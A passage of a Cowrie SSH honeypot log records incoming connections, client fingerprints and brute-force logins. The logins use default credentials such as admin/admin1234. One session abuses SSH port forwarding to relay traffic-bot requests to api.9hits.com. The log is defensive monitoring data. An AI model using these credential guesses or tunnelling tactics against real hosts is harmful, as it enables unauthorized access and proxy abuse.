cdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:18.740684Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":39366,"dst_ip":"159.203.135.109","dst_port":22,"session":"7793e9303caa","protocol":"ssh","message":"New connection: 101.79.165.43:39366 (159.203.135.109:22) [session: 7793e9303caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:20.769516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:20.773363Z","src_ip":"101.79.165.43","session":"7793e9303caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:20.998013Z","src_ip":"101.79.165.43","session":"7793e9303caa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:21.263126Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd","message":"login attempt [admin/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:21.902130Z","src_ip":"101.79.165.43","session":"7793e9303caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:23.123635Z","src_ip":"101.79.165.43","session":"7793e9303caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57cc400f948","protocol":"ssh","message":"New connection: 113.164.152.20:62962 (10.17.0.5:22) [session: f57cc400f948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:24.741978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:24.746128Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:25.014968Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:26.218376Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:26.620366Z","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:26.743567Z","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.239732Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=enpCVGlNTk5AbyNpQG5mPg%3D%3D7wCGjZAAm%2FbL2vdI2td2QHaSZ7fLxBBk6OSyEOpPhgV6saVylJnPfTx%2B7IfqnoJE3dGNJu1qb7VZgUdjSohcZwVVOujfawnjIxs%2F2dC93ZiGV7TqhP7jvBx%2FcCpdj0YcX2OlL26KlPVb78eloFo8kwadKPxuJbjvWmKs5imoczL6ogrt1B1us0KnA17WOVWnH1RtqV86eyxwyI5iWoQb%2FytNn1tAc0jYf6F%2BWCzJpVGidOAh4IIVTNDY%2F4oh9zRe%2BRWO%2BX8Lo9sIGQPODruxNL5kvZCRISrxUX3Zsy1qidyzsqbKtYgrMuItW8YaOQl1vvpYgH9GaUTQcdfK%2BxfHCMLXoN6RcAElvD1Vh4wwWjGZY3F4FhRdjfD86JvuDAdvhN7diclz3Oo3IB8klQxWNmLsUvLQtyxqFTuBwFQsc2isJU5lJ6PRUPTc8QEG1XFE8oUeVg89AL8FKFDwCg2hyHsnxbFcN3pRJ8zTsPcJ4CS7Ub%2FQ2TB2v0%2FwWdnLthJchGMEEiXmiGTQJU9AzYlULoeN42KW82DXWjTYwDJtj3NDVvmYmS6czmGm1expjrHCuE%2B0qQuPrujYksF3MhTACoJi2JpFcS1yhNmILq1tqvh2mWXJiOMEROv6xEI0ZVSER843tuBIdfqEjxaNQPWwH6i6B2SUmWcVI5mjhubtLsh%2Fe%2FP6EdqZJbVyUpXmjnkffO6xnQhtQwFe7L3T2tLnf5Zdy3hHbmRF8UV1OzEmHDLlfVm24VjFw6lWeEo%2BAUmVikemKV4aGqqCeTu9ylRYl3WiNBCqKk6%2F%2FkpxYGj4Z0I%2Blzp3ehEqbDcZyXOhoVGw8jtmdGTd4pFTIDSBNPj38QLXCpmFZnPa5EVlO1Qde3el%2B3I0JYUeofx5zSJUB9TQd1YfB4xCIvHxiJkhwxFROHyN3%2FrJOzv4ouTZgPBMOOTRiYwmvdC4%2FobaZRAHvllkwlJYu%2BVZ1aK%2BMjU2b5uzd2dIlr1iXK9yohP7YG%2BmcJVIg%2BKzxLv9M1JCa8VZRMz6Ueu97fbqX5noW%2FvK%2FVHs0leKaLIyINXck7sxkNVjw%2FtzcyoeweHd14Ai4JhKFFll'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=enpCVGlNTk5AbyNpQG5mPg%3D%3D7wCGjZAAm%2FbL2vdI2td2QHaSZ7fLxBBk6OSyEOpPhgV6saVylJnPfTx%2B7IfqnoJE3dGNJu1qb7VZgUdjSohcZwVVOujfawnjIxs%2F2dC93ZiGV7TqhP7jvBx%2FcCpdj0YcX2OlL26KlPVb78eloFo8kwadKPxuJbjvWmKs5imoczL6ogrt1B1us0KnA17WOVWnH1RtqV86eyxwyI5iWoQb%2FytNn1tAc0jYf6F%2BWCzJpVGidOAh4IIVTNDY%2F4oh9zRe%2BRWO%2BX8Lo9sIGQPODruxNL5kvZCRISrxUX3Zsy1qidyzsqbKtYgrMuItW8YaOQl1vvpYgH9GaUTQcdfK%2BxfHCMLXoN6RcAElvD1Vh4wwWjGZY3F4FhRdjfD86JvuDAdvhN7diclz3Oo3IB8klQxWNmLsUvLQtyxqFTuBwFQsc2isJU5lJ6PRUPTc8QEG1XFE8oUeVg89AL8FKFDwCg2hyHsnxbFcN3pRJ8zTsPcJ4CS7Ub%2FQ2TB2v0%2FwWdnLthJchGMEEiXmiGTQJU9AzYlULoeN42KW82DXWjTYwDJtj3NDVvmYmS6czmGm1expjrHCuE%2B0qQuPrujYksF3MhTACoJi2JpFcS1yhNmILq1tqvh2mWXJiOMEROv6xEI0ZVSER843tuBIdfqEjxaNQPWwH6i6B2SUmWcVI5mjhubtLsh%2Fe%2FP6EdqZJbVyUpXmjnkffO6xnQhtQwFe7L3T2tLnf5Zdy3hHbmRF8UV1OzEmHDLlfVm24VjFw6lWeEo%2BAUmVikemKV4aGqqCeTu9ylRYl3WiNBCqKk6%2F%2FkpxYGj4Z0I%2Blzp3ehEqbDcZyXOhoVGw8jtmdGTd4pFTIDSBNPj38QLXCpmFZnPa5EVlO1Qde3el%2B3I0JYUeofx5zSJUB9TQd1YfB4xCIvHxiJkhwxFROHyN3%2FrJOzv4ouTZgPBMOOTRiYwmvdC4%2FobaZRAHvllkwlJYu%2BVZ1aK%2BMjU2b5uzd2dIlr1iXK9yohP7YG%2BmcJVIg%2BKzxLv9M1JCa8VZRMz6Ueu97fbqX5noW%2FvK%2FVHs0leKaLIyINXck7sxkNVjw%2FtzcyoeweHd14Ai4JhKFFll'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.242761Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.246713Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc7\\x95\\xe3\\x98y\\xf7\\x8bX\\xb9hT\\n\\x07\\x0c\\x94\\xca\\x8d\\x03\\x07\\xf0-\\x9d\\x08&\\x8c\\xd3\\xa2\\xb3\\xe4\\xc4[ 'o\\xccNz0\\x9a\\x98\\xa9\\xfd\\xa5\\x1d\\xaf;\\xa1\\x04=%\\xc3?\\xb4\\xe0\\x06\\x8b\\x13\\xf7\\xc6Y\\xf06(8\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9cf\\x13\\x1c2F\\xd4\\x8c7\\xba\\xc5\\xc6,\\xaf7\\x9b\\x84}\\xdc\\x02\\xfb\\xe6\\xef\\x13\\xa2\\x065/\\xa8\\x7f\\xdf4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc7\\x95\\xe3\\x98y\\xf7\\x8bX\\xb9hT\\n\\x07\\x0c\\x94\\xca\\x8d\\x03\\x07\\xf0-\\x9d\\x08&\\x8c\\xd3\\xa2\\xb3\\xe4\\xc4[ 'o\\xccNz0\\x9a\\x98\\xa9\\xfd\\xa5\\x1d\\xaf;\\xa1\\x04=%\\xc3?\\xb4\\xe0\\x06\\x8b\\x13\\xf7\\xc6Y\\xf06(8\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9cf\\x13\\x1c2F\\xd4\\x8c7\\xba\\xc5\\xc6,\\xaf7\\x9b\\x84}\\xdc\\x02\\xfb\\xe6\\xef\\x13\\xa2\\x065/\\xa8\\x7f\\xdf4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.249054Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.518032Z","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.785669Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01?\\xff\\xccQ\\xd8\\xa18\\x98\\x87\\x83\\xae}\\x96@6\\xccju\\x0b\\x8a\\xa7\\xcf\\xc2P\\xc3n\\xa7\\xd0\\xd6v\\x84 f\\xf2\\xe7\\x11\\x15Q\\xed\\xa0(\\x1f\\xa7 p\\xc0\\x07\\xdc\\xe6\\x8d\\x84\\xd8\\xb8\\xca\\x11\\xa1\\x97d\\xc3\\x05\\x92\\xe5\\x12\\xfc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 M\\x7f\\xe8\\xd8DK\\x9c\\x91\\x05V\\xb3\\xfa\\x86U\\xe7f>\\xd8m[\\x89E\\xf7\\xf7H\\xcb\\xea\\x13\\xa5\\xbb\\xe0\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01?\\xff\\xccQ\\xd8\\xa18\\x98\\x87\\x83\\xae}\\x96@6\\xccju\\x0b\\x8a\\xa7\\xcf\\xc2P\\xc3n\\xa7\\xd0\\xd6v\\x84 f\\xf2\\xe7\\x11\\x15Q\\xed\\xa0(\\x1f\\xa7 